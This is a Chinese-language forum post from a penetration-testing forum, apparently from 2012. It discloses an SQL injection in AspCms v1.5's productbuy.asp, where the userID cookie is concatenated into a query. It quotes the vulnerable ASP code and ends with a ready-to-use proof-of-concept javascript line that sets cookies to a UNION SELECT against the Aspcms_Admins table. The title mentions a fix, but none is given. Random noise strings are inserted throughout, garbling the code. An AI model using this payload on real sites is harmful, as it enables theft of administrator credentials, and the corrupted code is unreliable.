中国网络渗透测试联盟

标题: AspCms_v1.5_20110517 SQL注射漏洞及修复 [打印本页]

作者: admin    时间: 2012-12-27 08:35
标题: AspCms_v1.5_20110517 SQL注射漏洞及修复
好久没上土司了,上来一看发现在删号名单内.....
6 ^, X6 _# U" E8 M' p8 l也没啥好发的,前些天路过某个小站,用的AspCms这个系统,搜索了下,productbuy.asp这个文件存在注射,但是目标已经修补....下载了代码,很奇葩的是productbuy.asp这个文件官方虽然修补了网上提到的漏洞,但是就在同一个文件下面找到了注射漏洞。。。。。。。
: R" L9 j/ M  ~6 r3 Q废话不多说,看代码:
' N; p, i, J% F* C! O
1 {6 n! N, |# O: P+ Y. ?<%
1 h; K, ]3 Y+ b3 j2 \# \
( o6 z. u& F, @! oif action = "buy" then
7 j  ^4 b% I7 C4 s6 I* d4 u
) l& L$ h; q! A* o! h        addOrder()
% z0 i$ c% I. b/ c/ z& |
. F; m" q8 ^+ [3 Kelse
$ N8 r! B- Y* J
; B) Z% _% L6 w9 Q; l        echoContent()
, d' K6 v! [7 v1 j( f2 j
; o+ l: x; j. G3 ]: U5 W! H0 lend if5 S- O: t; v5 u( B! X+ c# V) X

. M4 i+ t3 P* o. g* l) a* @& ?* s* B! s0 {- z
- f% e. f3 L! p9 x! J
……略过. E; e+ e5 |- }. k2 w

8 E# j7 [# [6 I& G9 n! m* n4 }
' H0 L: l% p, |7 N9 d$ a7 o" I# p7 e- |
Sub echoContent()" {& S3 O  B! r  y' e. ^

* d- w' C7 A2 e4 Z/ g* p        dim id6 f$ Y: J  \2 `$ ?( e" P# a& ?8 B' |
5 i& X& G1 A' G( U1 T! i* I
        id=getForm("id","get")7 G' g6 V( A' X$ [# c; ~$ C
7 v$ z' g) r; W
        
, \3 Y5 X8 {# t
; E& f: r1 a& m1 H, n) e! K% o' F' p        if isnul(id) or not isnum(id) then alertMsgAndGo "请选择产品!","-1"
. r+ P/ m4 N- f( D5 ~4 N  i+ {3 s- q, j  m8 \4 C
        
, ?& Z2 c; @! B! K, G8 U+ Q% D  K( g0 a
        dim templateobj,channelTemplatePath : set templateobj = mainClassobj.createObject("MainClass.template")& U8 G7 B$ T9 ^3 l) X$ _
3 @3 j4 {, i1 K/ V5 Y# `; R
        dim typeIds,rsObj,rsObjtid,Tid,rsObjSmalltype,rsObjBigtype,selectproduct
* W7 M- _% G. U. C% ?% p% n( G# M- {6 C) O
        Dim templatePath,tempStr7 `) a/ W, a1 N3 Q6 O& H: F0 R
% T* e! ?% H9 ?- T& m3 B
        templatePath = "/"&sitePath&"templates/"&defaultTemplate&"/"&htmlFilePath&"/productbuy.html"
+ a  \# O) |& `5 P; f: A+ Q1 R/ e% F# l# q& \
0 c3 g: X0 x  a' V
5 \7 h' w2 o& S! \
        set rsObj=conn.Exec("select title from aspcms_news where newsID="&id,"r1")
* d0 o6 G9 o7 I0 C" R; e! n! p& K. k+ m7 n; B3 T
        selectproduct=rsObj(0)) B: |# }- C1 U# Z6 I2 Q2 U; M
! {* p( R6 X! x5 d3 Y# x" @
        
- J+ B- |# F! G5 r( u
! f1 A& w! G2 [6 k  c/ e        Dim linkman,gender,phone,mobile,email,qq,address,postcode. ?/ Y  c- Y$ N" Z4 A

( @# T" t! X0 @& \" q/ h        if isnul(rCookie("loginstatus")) then  wCookie"loginstatus",03 o3 d. ?; V; R8 y' w. {% D& s

; q, y. Z5 U* P, Y  \, z6 c7 |        if rCookie("loginstatus")=1 then  " j; E7 u3 B3 c7 o( I* Q7 ^
  m5 {+ _* _. m; k
                set rsObj=conn.Exec("select *  from aspcms_Users where UserID="&trim(rCookie("userID")),"r1")! w! f* P: L# D  m5 F3 }* b
7 E, }& A3 D# b( r" I$ q
                linkman=rsObj("truename")
; c* ?$ x3 P6 D3 {6 p' ?' q( I5 c7 z3 u/ y4 S9 L
                gender=rsObj("gender")
2 Y: @* ^6 m- F: p* S
6 `7 g9 v% c. V) E, C                phone=rsObj("phone")
9 e& d0 M: P4 o% j' Y! d& Y* M7 D) w6 a2 R2 L
                mobile=rsObj("mobile")' i4 A" _. k0 N" M. H

) z  W# z. q4 j! C                email=rsObj("email")- d9 Q- J6 k6 p0 d# y7 W" a: s8 P
5 a' R; j. x3 ^2 B
                qq=rsObj("qq")
4 h6 H1 j0 p" n# ^6 d+ l7 b: z! P9 C0 d( q
                address=rsObj("address")
/ k; K# T7 b' N: y/ l) F3 ^; {& T
. u: I. r  Q( `. L. l                postcode=rsObj("postcode")+ z6 ?" `0 ^& [  H

/ j, d9 l7 r# o; \) R        else % s0 [8 W+ v7 i! I
, |3 A1 }! P/ C, d" r3 M5 T
                gender=1% V' x$ S  {: ]1 D! E

6 t4 j) C& X' i$ n        end if
& m, _2 x4 Z5 z+ F1 c! V
! N2 N0 n  ~5 C5 {8 l, H        rsObj.close()
' S1 a1 W6 B/ _) E! C7 [9 x6 @/ R7 S- e/ p8 s
               
" k/ r6 k2 i5 x0 m: ]  z& z; ~9 T3 k7 C6 l' P6 p* @
        with templateObj 4 [! r# L6 j0 l; p6 o" j
( _/ q5 Q& R* x- D4 Z% u
                .content=loadFile(templatePath)        
; o" N( [% n% a
, c: L' @8 n$ d% a# t: q- S0 J+ p7 V                .parseHtml()
) I& v" e! R6 u# D! l4 e  m
2 a% S6 g- I* ?* ~0 R6 `$ R' n# H                .content=replaceStr(.content,"{aspcms:selectproduct}",selectproduct)
; x: ]3 u  z% N# m2 c5 l
: H2 G: X9 i' W" C, \' A1 D2 R                .content=replaceStr(.content,"[aspcms:linkman]",linkman)               
! p/ x. d2 V! e9 U$ a7 \# {( {0 p1 X% ]- {6 W
                .content=replaceStr(.content,"[aspcms:gender]",gender)                & I- S! c$ U* `& Z; ^: q: _
" g. B- A. U6 c8 }
                .content=replaceStr(.content,"[aspcms:phone]",phone)                ; s' Q* n+ l; l8 i

4 m! s0 n# o  }! G6 r                .content=replaceStr(.content,"[aspcms:mobile]",mobile)                ; Q* ~4 P. G2 Q: c, W, x2 ^
1 e6 W1 ~3 _5 M3 d4 W3 r
                .content=replaceStr(.content,"[aspcms:email]",email)                        
) s& X8 r( a7 ?- q( l
+ \2 Z" c# a+ v' j  |+ m                .content=replaceStr(.content,"[aspcms:qq]",qq)                        ' ]" b, c& x2 W! x+ m/ r- X

; e* [. t; m' R& @+ C                .content=replaceStr(.content,"[aspcms:address]",address)                        
, Y$ \4 N# @: i4 P) X
$ {  R5 I' \3 g/ ~                .content=replaceStr(.content,"[aspcms:postcode]",postcode)        
: u' M3 ^  q9 A. t% U, b6 u0 r1 K' I( g: t! {! S
                .parseCommon()                 0 f/ {* _& |9 s0 M  l
& m. X1 y( I( q- V7 ?4 i6 t( c
                echo .content 4 f% {( }3 F( Q% f" Z. D# |

3 [+ l3 V/ y8 i4 }        end with
8 F4 q4 l- i) y/ J/ X; ], X
; d/ r- C! L5 `8 t        set templateobj =nothing : terminateAllObjects
* {3 Q( h$ y' E- t: D0 {% g6 D9 t1 p* c; [4 U" U
End Sub5 o& b" N- J' S8 I
漏洞很明显,没啥好说的
0 J6 u& \, z8 [poc:7 }0 G0 {7 h; Z& R1 v4 t! K

* v/ W* [' o: R! \7 ^/ K8 `2 Djavascript:alert(document.cookie="loginstatus=" + escape("1"));alert(document.cookie="userID=" + escape("1 union select 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2 from [Aspcms_Admins]"));另外,脚本板块没权限发帖子​2 _' u- ~1 s& @6 w
( g4 t" J9 y. ]  U





欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2